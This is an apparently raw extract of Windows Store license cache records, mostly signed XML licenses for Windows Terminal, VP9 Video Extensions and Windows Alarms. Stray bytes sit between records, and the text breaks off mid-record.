|<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="7526afd8-c39b-4965-acd2-9ce7c1834da2" LicenseID="4d4f5721-9683-a595-79a1-53372f779b7e" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WindowsTerminal_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T11:30:35.9808867Z</IssuedDate><LastUpdateDate>2026-02-20T11:30:35.9685603Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiMGQwMzRiMjUtZThhZC1mZTMwLTkzZWMtM2VkYmNmYjIyNmVhIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2OTY2NTU4MDQ5ODQzMTkzJmNvbnRlbnRJZD1kMDZhMWIwNy1kZDM2LTUxNTgtNTUyYS0yZDE5NjhjODc2OTAmZW50aXRsZW1lbnRJZD0wZDAzNGIyNS1lOGFkLWZlMzAtOTNlYy0zZWRiY2ZiMjI2ZWEmbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjVjMGRiMDk5LWY0MTMtNWFhMC1hZmMwLWY0MGY2NjhkYTkxYyJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6ImQwNmExYjA3LWRkMzYtNTE1OC01NTJhLTJkMTk2OGM4NzY5MCIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TjBEWDIwSEs3MDEiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTE6MzA6MzUuOTY4MzUyOSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAALgAAADJAAAACgAAAAUAAgDcRZhpAADLAAAAEAAAACFXT02DlpWleaFTNy93m37OAAAAUAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwB0AGUAcgBtAGkAbgBhAGwAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAKFxw0qGug9YAP8kW4sg4ynbRNQEyJee2U91aKvfmfA40wAAAAQAAADcuqppzAAAAEQAAAABAAIAnX561rms7L306grVAepHnAAUdBUKwuJEkZI+clq56ylPM08VZcl5xQM7yGNt5U52Bqdl9+g84j9wsQ6qpyRSGg==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>mAbK7xgQJbtJ8n5MMyEbwtNnzrmLAoSKWusg4ZU2gIE=</DigestValue></Reference></SignedInfo><SignatureValue>KijTkfKX74cZ3FIWKqHk8j13KHhPKQS3SJqyDYlPEUSvKien9eeeXBEs2+ndEbTIIQm8PYGfMJLg9ZsChsnYyt7h2tLCGH3WpNc2YAZFUl2ohiTkFV40B5nBlRaxtOEVY3C0GCx7W5Khzd9AI9sVzjKvr2qqBOxGsbv14B0E9vLdJSD0SxNBY0h3ERPq62475gwZVij1yQ68X5T/6Ahv0IE7ByfVD19usJK8wexP95amKauZM4H6A7THqBttKhrKGCvmzu4w4/M96EVCKpiMfUaZ1wV5itBDDHqYdhxv2Cj70Tm1RuyniNqy56Pzt6y3fWECL7WFDkrvnAvrZsSGNQ==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
GBJ<License xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" ID="6b594c27-b3ee-45ff-812e-686be66532ce" LicenseID="{61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8}" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>{61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8</ProductID><PFM>61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8</PFM><LeaseRequired>False</LeaseRequired></Binding><LicenseInfo Type="KeyHolder" LicenseUsage="Offline" LicenseCategory="OEM"><IssuedDate>2017-10-04T01:46:03.1761425Z</IssuedDate></LicenseInfo><KeyHolderInfo><CSPData>UlNBMQAIAAADAAAAAAEAAAAAAAAAAAAAAQAB4u207Klnd/s3UWNpMJ2LHUEtExoJ1nbMAYp2dV7hwsA6EwFVSfXJ2IJCzE/mPIg1sViJo8cFKB6Q/aSVbasyhpZU6G/RnttwJBZzaIX5p6ZocnDWqb/9r9KYFHN+C5ZJyKmzx1VXWUssoiGWlHhdcJEeXldzMCngI3wKJvaGmSa967+62B9XkZSb2DJhBD1ee8VNqDL9CBb1ZnxgtmH//RybkiepR+G2xUyJLNDnXgUxBTSyY7gcF95F6ur/YwPFjdPmSwKETr0GVUUT1SEZwIfcmMLHzMnGO3ZLUaYj2IQb/921nmyon7HuPNYCcQ2baTO2FN8SJUSMrz0W8PYVMw==</CSPData><SPLicenseId>c18edcc8-9651-b9ee-cf7b-2b04b364fe66</SPLicenseId></KeyHolderInfo><SPLicenseBlock>FAAAAAoBAADJAAAACgAAAAUACABbPdRZAgDLAAAAEAAAAMjcjsFRlu65z3srBLNk/mbOAAAASgAAAGMAMQA4AGUAZABjAGMAOAAtADkANgA1ADEALQBiADkAZQBlAC0AYwBmADcAYgAtADIAYgAwADQAYgAzADYANABmAGUANgA2AAAAzQAAACIAAAABADQUZSwDflJ1TL8/VJMWjgBtYgLnJrXkTpTMduN/C1yG3AAAAEgAAABFQ1MxIAAAAJvavN24VZ1Xt3EUEtBsY+8NzAQCaaApg/0/nDupe1lNA3yLBwXX0arBXlxQ30yWoAqxhzsiaM0kwzewMxC32N7dAAAADAAAAAEAAAAAAAAAAwAAAMwAAABEAAAAAQACAPrzCTUQlIJFXLDBqsnmOvTvCjyrw1IDoYB2chQDC3sY5lj6X3SAFHyqdcRd0SWsgiSQw3NH1AsU+NtRfIj7Ehc=</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf8SOJXE+CsDzMVGixDetVAeudTchTyU67dKPCUQXZ3K7EX0bIM9fkyYR63cUzA6d3G2711LU6M5Xx7c97sELcO2zuOSj3pCqHcBZlRf76+aDMGD0zXCFKhCcPE7nT7zZSjXLqW8mlm/ewFNQXCXVRcCgBc9+jg5Tai2z1yJof0ZWlRJd7KLxNOMHFlMpk6TfOTvMOi4FK/dJshoCTk9UWJ424kuivJAWnl0nu7u+ajYQZ8FCVSUtNckdCf8WK5iiIxUeM4jmguIrI5gjlLmJcOtajhXPfpjAJhfCk1KG+ICXmz48rKLH8iA79Z+053x3lul21R6YPvj6TA==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AAEAAQ==</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
< <License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="aafff589-f4cd-4f54-ae32-b8720880d189" LicenseID="5c0db099-f413-5aa0-afc0-f40f668da91c" ContentID="d06a1b07-dd36-5158-552a-2d1968c87690" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9N0DX20HK701</ProductID><PFM>microsoft.windowsterminal_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-19T13:39:45.7449023Z</IssuedDate><LastUpdateDate>2026-02-19T13:39:45.7337866Z</LastUpdateDate><BeginDate>2026-02-19T13:39:45.7337858Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI0NGFmYTU2Zi1jNDYwLTQ3M2EtYTY1Yy1iZWQzYWFjZDFhNjMifQ==</CustomPolicies><SPLicenseBlock>FAAAALgAAADJAAAACgAAAAUAAQCiEpdpAwDLAAAAEAAAAJmwDVwT9KBar8D0D2aNqRzOAAAAUAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwB0AGUAcgBtAGkAbgBhAGwAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABAKFxw0qGug9YAP8kW4sg4ynbRNQEyJee2U91aKvfmfA4IAAAAAQAAACiEpdpzAAAAEQAAAABAAIAWInKMm1eYzB9vEcEqwSQxcDFmd5eOAXjbYv5b5z1xw2C6AZcv7r1nyatmPvhiOJ4IcRnyiuD/iKHHQisnJnygw==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>JDKjaQCnyFGPq7NzX1S60Zu99UAjvmvuVqOQscOAfvk=</DigestValue></Reference></SignedInfo><SignatureValue>I2O/a5GXDKgzIPAsSjPSjkAYlks+/Qg34gykvrY1wCup05v5ax8/OuseptSH9ChxfIePcUsxH6LjPzrTZYTNZ+J2zzMj2u2XODbDikbLh01bKCYQ9wyR8TlN2x7IyMu4qyPtW3+mEMf7UnBx/uXaGFt1kGQOH6zlTemvTIs0o+Hi55CUQloRVAztfyc3zxo901xaHBMQtXZdXFSF50L/dWbYJimNddwxmxkL+zy4ucdKNWBM33qBAl/q+6vQOe0SOasfz3Fnp8kQe+K1whv5H5QX/1YJK06kFvbZhCuNMJCW6mWPDf9BzYjqKRyOBNYbbLuvD+JYeX0FylhoHT3uUw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="1080bfdf-fade-42e8-b0d0-c3fbd5517d67" LicenseID="2e267d1c-9ef4-8ee3-57be-e11f61eb9d03" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.VP9VideoExtensions_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>20160</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:53:52.7264033Z</IssuedDate><LastUpdateDate>2026-02-20T12:53:52.7159207Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudElkIjoiMDk5MzAwZjMtMGE0ZS0zODQ4LTBkMzEtNGY1ODk0MjhhYmEyIiwiZW50aXRsZW1lbnRTYXRpc2ZhY3Rpb24iOiJEZXZpY2UiLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2JlbmVmaWNpYXJ5SWQ9bXNhaHclM2E2OTY2NjAwMDU5ODUyODAyJmNvbnRlbnRJZD00YWYzMDFlOS1mNWUwLWM4YmYtNmI3Yy05MzhiZGRkZjg0ZDUmZW50aXRsZW1lbnRJZD0wOTkzMDBmMy0wYTRlLTM4NDgtMGQzMS00ZjU4OTQyOGFiYTImbWFya2V0PUNIJnBvbGljeVR5cGU9RGV2aWNlIiwia2V5SWRzIjpbIjVjODM0YjBiLTY0ZjgtNjM4My04NTRhLTkxNWFjN2RkYWI3NyJdLCJraW5kIjoiQ29udGVudCIsInBhY2thZ2VzIjpbeyJwYWNrYWdlSWRlbnRpZmllciI6IjRhZjMwMWU5LWY1ZTAtYzhiZi02YjdjLTkzOGJkZGRmODRkNSIsInBhY2thZ2VUeXBlIjoibXNpeCIsInByb2R1Y3RBZGRPbnMiOltdLCJwcm9kdWN0SWQiOiI5TjREME1TTVAwUFQiLCJza3VJZCI6IjAwMTAifV0sInBvbGxBdCI6IjIwMjYtMDMtMDZUMTI6NTM6NTIuNzE1NzU3OSswMDowMCIsInJlZnJlc2hPblN0YXJ0dXAiOmZhbHNlLCJ2ZXJzaW9uIjo3fQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAgBhWZhpAADLAAAAEAAAABx9Ji70nuOOV77hH2HrnQPOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdgBwADkAdgBpAGQAZQBvAGUAeAB0AGUAbgBzAGkAbwBuAHMAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABALoP6DfMRLfwTp+5FdoluCfl1GHcKwW5GfINfQFslhLU0wAAAAQAAABhzqppzAAAAEQAAAABAAIAUUatuSdqPOh3NyWNrSsrJzgBhkZ2L9ysBwg9Mp8kW2yScL17UjAbCJyCXRurJDj0TqkHKDlh+faKrBlr3vUxCg==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>F1ST0ZCxNo6r+i3bXVSW7Z+asw4WmtA22rpx6J/zhJE=</DigestValue></Reference></SignedInfo><SignatureValue>Wk4XJT2nJCbiD1j3mxGv5Jrs4KoOdHKqP4BjaJ2x5kRfJIMv5lrJidObeOP8w0AZ7u9IplL2P3EQ4GjhLNPiALgjFSy20+yh+/xreXRKwj45WDndoJNPgATxpGsVJ2n2LaHGNNXiQCydFO1Pfkoz6oyiKgKjp/SWu1bgKKOuONJ+d8jzDM93nwNysnmlSFqLeP7APhYJHS8soeVPDU1uX7uEw8dMfnYB88beu075/DX601nJx97vGXKHEJy83lPT6ty9Suj2QwpzeUDAf9VKiT38ZkKvIkvUiXg48mNsRq2uM03RC4UJaw1ZsL8FYJI3MRbUauBaSv/mHV7+daQCpw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="eb9336ad-56cc-45b4-bef7-edd7c43d5eb2" LicenseID="5c834b0b-64f8-6383-854a-915ac7ddab77" ContentID="4af301e9-f5e0-c8bf-6b7c-938bdddf84d5" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9N4D0MSMP0PT</ProductID><PFM>microsoft.vp9videoextensions_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T12:53:52.7271582Z</IssuedDate><LastUpdateDate>2026-02-20T12:53:52.7163207Z</LastUpdateDate><BeginDate>2026-02-20T12:53:52.7163202Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiJjY2U3NmIxNy0wOGJmLTQ5YzItYjY2NS1hYTkyMDc5MTVjYjQifQ==</CustomPolicies><SPLicenseBlock>FAAAAL4AAADJAAAACgAAAAUAAQBhWZhpAwDLAAAAEAAAAAtLg1z4ZINjhUqRWsfdq3fOAAAAVgAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdgBwADkAdgBpAGQAZQBvAGUAeAB0AGUAbgBzAGkAbwBuAHMAXwA4AHcAZQBrAHkAYgAzAGQAOABiAGIAdwBlAAAAzQAAACIAAAABALoP6DfMRLfwTp+5FdoluCfl1GHcKwW5GfINfQFslhLUIAAAAAQAAABhWZhpzAAAAEQAAAABAAIA0JrTRW2ZRr2tmjtE5pTAnI1lzN/UUnXamqFqR4WxsRYzjYcANvsxwi/UDUuxWHjY8c8dRMfWrMf0iX3O7oKKDA==</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>SOMmz5+LVh91nMq1+LDbHJkvHI54Qx3fV3quzV28Jas=</DigestValue></Reference></SignedInfo><SignatureValue>J5lucMp5iEweTyds4GCOvHcOYbHthK8Ty/DTdQYBhdStrLIzst8/HA6fOj7j+dq7jGSJNUDz3w9AC8JcVjlpdboLFDbit9ZZxxzxwGg2TWJSisVpBpCuhE60w2emUKrbTHu+62itIjM6hYVeZZfsAE+MngaJYUpCO0p3YVdh9/14AszRCgq2EDRKKcAyWbkypjL/ecml1k66wPFOrtVF5mayLDHm7Y34LeuoN3v29eOtk66A3IMS5a2PPo4qfTV4KbegLoBgYoOL4ddBcT8r/iOvf4LOQVOtpTd9Kt5ZA48O7tGzQMLeCA3sFEfkQ4off48GoYNwp3kXLJt36iLJ1g==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
+T<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="8939c643-9204-4440-965c-9b5ac6cd0afd" LicenseID="61b5bd89-4cb0-db77-6622-cb63b5a58080" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><AssociatedPFNs>Microsoft.WindowsAlarms_8wekyb3d8bbwe</AssociatedPFNs><LeaseRenewalPeriod>129600</LeaseRenewalPeriod></Binding><LicenseInfo Type="Lease" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T10:12:01.2254058Z</IssuedDate><LastUpdateDate>2026-02-20T10:12:01.2143749Z</LastUpdateDate></LicenseInfo><CustomPolicies>eyJlbnRpdGxlbWVudFNhdGlzZmFjdGlvbiI6Ik9wZW4iLCJpc09mZmxpbmUiOnRydWUsImxlYXNlRW5mb3JjZW1lbnQiOiJOb25lIiwibGVhc2VVcmkiOiJodHRwczovL2xpY2Vuc2luZy5tZC5tcC5taWNyb3NvZnQuY29tL3Y3LjAvbGljZW5zZXMvP2NvbnRlbnRJZD0xOGRkYzY3NS1kNDcyLTBkYjQtOTU2My03ZGY3YzM0ZjUxMmMmbWFya2V0PUNIJnBvbGljeVR5cGU9T3BlbiZwcm9kdWN0SWQ9OVdaRE5DUkZKM1BSJnNrdUlkPTAwMTAiLCJrZXlJZHMiOlsiNjc0NDdiMGMtMDVjZi02NzQwLTVmN2ItMzkxYWI0NDBjNDJkIl0sImtpbmQiOiJDb250ZW50IiwicGFja2FnZXMiOlt7InBhY2thZ2VJZGVudGlmaWVyIjoiMThkZGM2NzUtZDQ3Mi0wZGI0LTk1NjMtN2RmN2MzNGY1MTJjIiwicGFja2FnZVR5cGUiOiJtc2l4IiwicHJvZHVjdEFkZE9ucyI6W10sInByb2R1Y3RJZCI6IjlXWkROQ1JGSjNQUiIsInNrdUlkIjoiMDAxMCJ9XSwicG9sbEF0IjoiMjAyNi0wNS0yMVQxMDoxMjowMS4yMTQxODg0KzAwOjAwIiwicmVmcmVzaE9uU3RhcnR1cCI6ZmFsc2UsInZlcnNpb24iOjd9</CustomPolicies><SPLicenseBlock>FAAAALQAAADJAAAACgAAAAUAAgBxM5hpAADLAAAAEAAAAIm9tWGwTHfbZiLLY7WlgIDOAAAATAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBhAGwAYQByAG0AcwBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAcJXJTOzqCu+gyvuAwIGuGggs/nNvpOAsa+yX36nFsKzTAAAABAAAAHHaDmrMAAAARAAAAAEAAgAGpfZ+rg+ZhWhshPkBfH4NvuJdwGy67bHNQtKwUxM5Epf0H8K96LBCNp/j2udkPY+mBGX3E2LYNImJQl+16Hh5</SPLicenseBlock><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#" /><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256" /><Reference URI=""><Transforms><Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature" /></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256" /><DigestValue>QhpoqyRDDRj/SNnvRGIDOrnvG/mTOQM623eZjEF/eHc=</DigestValue></Reference></SignedInfo><SignatureValue>T8yBy3XEpTym3v8r9Iu5i8hnxFzRFv6iP7SmtVwRmi7PwnO6gOkZJHlD3lW4t7fF50QRXQwyGf6NcKxlFzRia/VJqSbv5n/9PvVc773YkduNTnI40CbtV4/QEl+zsMxB/kEnIWf2LjHhhPnRzpe+Meg0zFt+g7NevbGFmiZlnATTWGvEjMQSHNoWkD1lfqCxvCZYnku0oEQPh6CesMhwfhNASUUFbF+3gHBtIAmeH4l/NsxMnnmSOAFxJdQcdVb4mxbTliAL4zdcdso5eQuVbEBHGPoSDiFEDGTPa8Ovt1bZ56O7/v4KnjszJmWUoD5WJdzDW9gjR03DxMPNHcXhqw==</SignatureValue><KeyInfo Id="_0f81b24f-bc40-2712-0d5d-e7c10085c330"><KeyValue><RSAKeyValue><Modulus>oVSJXItDsaAIfwyR9bhh/ZSppCAO+in9POLWdC2/TQodgeHZzbdBvxJvKhpbrq6ZP0FsSElLwRoLAmv7zIuVw3Vb7tfQt5bjCDHRAG9fesNlYKV3ybyNrHyzglfZPRB5UJZw32yi03zQa+LLa05fjs6joEmlHc5BrGQrGrbNMBahz4cmuxKC4/dhEb7JZFUkc0MRhs/M3Ve511HQfKuG+92g1OffJdRsAPzWRdskPoN35knnqno7F85OBmGV/LNBgdtDWUH6di1eUCQFeKGfMp+Q/LFUX9jawTTEPn72tYbpYASug05Skcg6KTHlcLGzevxGw7BYsOsqfDka5n0YGw==</Modulus><Exponent>AQAB</Exponent></RSAKeyValue></KeyValue></KeyInfo></Signature></License>
(as'<License xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" ID="4f671d5f-7247-4f33-b111-c3548a85c08b" LicenseID="67447b0c-05cf-6740-5f7b-391ab440c42d" ContentID="18ddc675-d472-0db4-9563-7df7c34f512c" Version="5" xmlns="urn:schemas-microsoft-com:windows:store:licensing:ls"><Binding Binding_Type="Machine"><ProductID>9WZDNCRFJ3PR</ProductID><PFM>microsoft.windowsalarms_8wekyb3d8bbwe</PFM><LeaseRequired>True</LeaseRequired></Binding><LicenseInfo Type="Full" LicenseUsage="Online" LicenseCategory="Retail"><IssuedDate>2026-02-20T13:15:40.495159Z</IssuedDate><LastUpdateDate>2026-02-20T13:15:40.4840746Z</LastUpdateDate><BeginDate>2026-02-20T13:15:40.484073Z</BeginDate></LicenseInfo><CustomPolicies>eyJsZWdhY3lQcm9kdWN0SWQiOiI1NzlmYzQzNy1kMzk4LTQxMWMtYTZjNS1kMDFmZDQ1MjNiOTQifQ==</CustomPolicies><SPLicenseBlock>FAAAALQAAADJAAAACgAAAAUAAQB8XphpAwDLAAAAEAAAAAx7RGfPBUBnX3s5GrRAxC3OAAAATAAAAG0AaQBjAHIAbwBzAG8AZgB0AC4AdwBpAG4AZABvAHcAcwBhAGwAYQByAG0AcwBfADgAdwBlAGsAeQBiADMAZAA4AGIAYgB3AGUAAADNAAAAIgAAAAEAcJXJTOzqCu+gyvuAwIGuGggs/nNvpOAsa+yX36nFsKwgAAAABAAAAHxemGnMAAAARAAAAAEAAgBpx1SzH81c2CoNjytVj3TEqGb6BsAv8gO+4iZvv1OqGJGoQdmElYPVaO9rp6TrPeCCyRPuJ2NjO2IRctjyTSwI</SPLicenseBlock><Signature 